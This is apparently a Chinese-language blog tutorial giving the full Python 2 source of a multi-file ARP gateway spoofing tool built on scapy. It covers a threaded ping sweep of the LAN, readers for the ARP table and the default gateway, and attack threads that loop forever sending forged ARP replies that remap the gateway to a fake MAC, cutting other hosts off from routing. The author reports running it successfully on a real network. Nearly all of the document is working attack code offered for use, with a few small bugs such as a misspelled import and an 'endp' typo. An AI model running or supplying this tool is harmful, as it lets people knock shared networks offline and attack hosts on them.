Python利用scapy实现ARP欺骗的方法

一、实验原理。

本次用代码实现的是ARP网关欺骗，通过发送错误的网关映射关系导致局域网内其他主机无法正常路由。使用scapy中scapy.all模块的ARP、sendp、Ether等函数完成包的封装与发送。一个简单的ARP响应报文发送：

eth = Ether(src=src_mac, dst=dst_mac)#赋值src_mac时需要注意，参数为字符串类型
arp = ARP(hwsrc=src_mac, psrc=src_ip, hwdst=dst_mac, pdst=dst_ip, op=2)#src为源，dst为目标，op=2为响应报文、1为请求
pkt = eth / arp
endp(pkt)

因为实验时发现主机并不会记录来自网关的免费ARP报文，无奈只有先想办法把局域网内存在的主机的IP-MAC映射关系拿到手，再逐个发送定向的ARP响应报文。

二、运行结果。

<1>先查看网关，确保有网：

<2>因为socket需要sudo权限，所以以root权限跑起来：

<3>因为代码写的比较繁琐，跑起来就比现场的工具慢很多，最后看下局域网内主机的arp表：

网关172.16.0.254的MAC地址已经从00:05:66:00:29:69变成01:02:03:04:05:06，成功！

三、实现代码。

代码过程：加载网关->扫描局域网内主机->扫描完成->加载arp表->发送ARP响应报文。

如图，代码分为六个部分。其中的arpATC.py为主程序，pingScanner.py为主机扫描器，arpThread.py为扫描线程，atcThread.py为发包线程，gtwaySearch.py获取网关，macSearch.py读取本机arp表。

<1>pingScanner.py

通过os.popen函数调用ping，使用正则匹配返回字符串判断目标主机是否存在。

#!/usr/bin/python
'''
Using ping to scan
'''
import os
import re
import time
import thread

def host_scanner(ip):
  p = os.popen('ping -c 2 '+ip)
  string = p.read()
  pattern = 'Destination Host Unreachable'
  if re.search(pattern,string) is not None:
    print '[*]From '+ip+':Destination Host Unreachable!'+time.asctime( time.localtime(time.time()) )
    return False
  else:
    print '[-]From '+ip+':Recived 64 bytes!'+time.asctime( time.localtime(time.time()) )
    return True

if __name__=='__main__':
  print 'This script is only use as model,function:scanner(ip)!'

<2>macSearch.py

同样，调用os.popen函数带入参数'arp -a'查看本地缓存的arp表信息。通过正则表达式截取每个IP对应的MAC地址，保存在字典arp_table里并返回。

#!/usr/bin/python
'''
Using re to get arp table
arp -a
? (192.168.43.1) at c0:ee:fb:d1:cd:ce [ether] on wlp4s0
'''
import re
import os
import time

def getMac(ip_table=[],arp_table={}):
  #print '[-]Loading ARP table...'+time.asctime( time.localtime(time.time()) )
  p = os.popen('arp -a')
  string = p.read()
  string = string.split('\n')
  pattern = '(\d{1,3}.\d{1,3}.\d{1,3}.\d{1,3})(.\s*at\s*)([a-z0-9]{2}\:[a-z0-9]{2}\:[a-z0-9]{2}\:[a-z0-9]{2}\:[a-z0-9]{2}\:[a-z0-9]{2})'
  length = len(string)
  for i in range(length):
    if string[i] == '':
      continue
    result = re.search(pattern, string[i])
    if result is not None:
      ip = result.group(1)
      mac = result.group(3)
      arp_table[ip]=mac
      ip_table.append(ip)
    #else:
      #print '[*]macSearch.getMac:result is None'
  #print '[-]ARP table ready!'+'<->'+time.asctime( time.localtime(time.time()) )
  return (ip_table,arp_table)

if __name__=='__main__':
  table = getMac()
  ip_table = table[0]
  arp_table = table[1]
  for i in range(len(ip_table)):
    ip = ip_table[i]
    print '[-]'+ip+'<-is located on->'+arp_table[ip]

<3>gtwaySearch.py

通过使用正则截取os.popen('route -n')的返回值确定网关IP，把获取的网关IP与MAC当作元组返回。

#!/usr/bin/python
'''
'Kernel IP routing table\nDestination   Gateway     Genmask     Flags Metric Ref  Use Iface\n
0.0.0.0     172.16.0.254  0.0.0.0     UG  100  0    0 enp3s0f1\n
172.16.0.0   0.0.0.0     255.255.255.0  U   100  0    0 enp3s0f1\n'
'''

import re
import os
import time
from macSearch import *

def find_Gateway():
  p = os.popen('route -n')
  route_table = p.read()
  pattern = '(0\.0\.0\.0)(\s+)((\d+\.){1,3}(\d+))(\s+)(0\.0\.0\.0)'
  result = re.search(pattern, route_table)
  if result is not None:
    #print '[-]Gateway is located on:' + result.group(3)+'...'+time.asctime( time.localtime(time.time()) )
    table = getMac()
    ip = table[0][0]
    mac = table[1][ip]
    return (ip,mac)
  else:
    #print '[*]arpATC.find_Gateway:result is None!'
    #print '[*]Gateway is no found!'
    return

if __name__=='__main__':
  print '[-]Looking for Gateway...'+time.asctime( time.localtime(time.time()) )
  gateway = find_Gateway()
  if gateway is not None:
    print '[-]Gateway is located on:' + gateway[0]+'('+gateway[1]+')'+'...'+time.asctime( time.localtime(time.time()))
  else:
    print '[*]Gateway is no found!'+gateway[0]+time.asctime( time.localtime(time.time()) )

<4>arpThread.py

考虑到ping扫描主机时遇到不存在的主机会等待过长的时间，使用多线程扫描就稍微会快一点。这里是通过继承、重写run方法实现功能的。因为不太会控制多线程，所以这里写死了，是四个线程平分255个可能存在的主机。

#/usr/bin/python

import threading
import time
from gtwaySearch import *
from macSearch import *
from pingScaner import *

class arpThread(threading.Thread):
  def __init__(self,tag_ip,number):
    super(arpThread,self).__init__()
    self.tag_ip = tag_ip
    self.number = number
    self.status = False

  def run(self):
    add = 0
    if (self.number-1)==0:
      add = 1
    start = (self.number-1)*64 + add
    #1-63,64-127,128-191,192-256
    end = start + 64
    for i in range(start, end):
      if i < 255:
        host = self.tag_ip.split('.')
        host[3] = str(i)
        host = '.'.join(host)
        host_scanner(host)
    self.status=True
    print '[-]Status of Thread_%d is '%self.number+str(self.status)

    #print '[-]Scan completed!' + time.asctime(time.localtime(time.time()))

<5>atcThread.py

使用与arpThread.py中类似的方法继承、重写run方法实现多线程发包的功能。发包时源IP是指定的字符串“01：02：03：04：05：06”，源IP为获取的网关IP，目标IP和目标MAC皆为从本机arp表中获取的真实存在的主机IP与MAC。

#!/usr/bin/python

import threading
from scapy.all import ARP,Ether,sendp,fuzz,send

class atcThread(threading.Thread):
  def __init__(self,table,gtw_ip,gtw_mac):
    super(atcThread,self).__init__()
    self.table = table
    self.gtw_ip = gtw_ip
    self.gtw_mac = gtw_mac

  def run(self):
    ip_table = self.table[0]
    arp_table = self.table[1]
    while True:
      for i in range(len(ip_table)):
        tag_ip = ip_table[i]
        tag_mac = arp_table[tag_ip]
        eth = Ether(src=self.gtw_mac, dst=tag_mac)
        arp = ARP(hwsrc='01:02:03:04:05:06', psrc=self.gtw_ip, hwdst=tag_mac, pdst=tag_ip, op=2)
        pkt = eth / arp
        sendp(pkt)

        #pkt = eth/fuzz(arp)
        #send(pkt,loop=1)

<6>arpATC.py

代码的主程序，代码过程：

加载网关->扫描局域网内主机->扫描完成->加载arp表->发送ARP响应报文->等待。

（四线程） （四线程）

因为主程序是死循环，所以即便是攻击完成后也不会退出。可以在arpThread启动前加入for循环，这样就能无限发送了。

#!/usr/bin/python
'''
'''
import os
from gtwaySearch import *
from arpThread import arpThread
from atcThread import atcThread

def atc_WrongGTW(gtw):
  src_ip = gtw[0]
  src_mac = gtw[1]
  print '[-]Start scanning hosts...' + time.asctime(time.localtime(time.time()))
  arpThread_1 = arpThread(src_ip,1)
  arpThread_2 = arpThread(src_ip,2)
  arpThread_3 = arpThread(src_ip,3)
  arpThread_4 = arpThread(src_ip,4)

  arpThread_1.start()
  arpThread_2.start()
  arpThread_3.start()
  arpThread_4.start()
  t = False
  while(t==False):
    t = arpThread_1.status and arpThread_2.status and arpThread_3.status and arpThread_4.status
    time.sleep(5)
  table = getMac()
  print '[-]Scan completed!' + time.asctime(time.localtime(time.time()))
  flag = raw_input('[-]Ready to start attacking:(y/n)')
  while(True):
    if flag in ['y', 'Y', 'n', 'N']:
      break
    print "[*]Plz enter 'y' or 'n'!"
    flag = raw_input()
  if flag in ['n','N']:
    print '[*]Script stopped!'
  else:
    atcThread_1 = atcThread(table,src_ip,src_mac)
    atcThread_2 = atcThread(table,src_ip, src_mac)
    atcThread_3 = atcThread(table,src_ip, src_mac)
    atcThread_4 = atcThread(table,src_ip, src_mac)
    os.popen('arp -s %s %s'%(src_ip,src_mac))
    print '[-]'+'arp -s %s %s'%(src_ip,src_mac)
    print '[-]Strat attack...'
    atcThread_1.start()
    atcThread_2.start()
    atcThread_3.start()
    atcThread_4.start()

if __name__=='__main__':
  gateway = find_Gateway()
  if gateway is not None:
    atc_WrongGTW(gateway)
    while True:
      pass
  else:
    print "[*]Can't find Gateway!"

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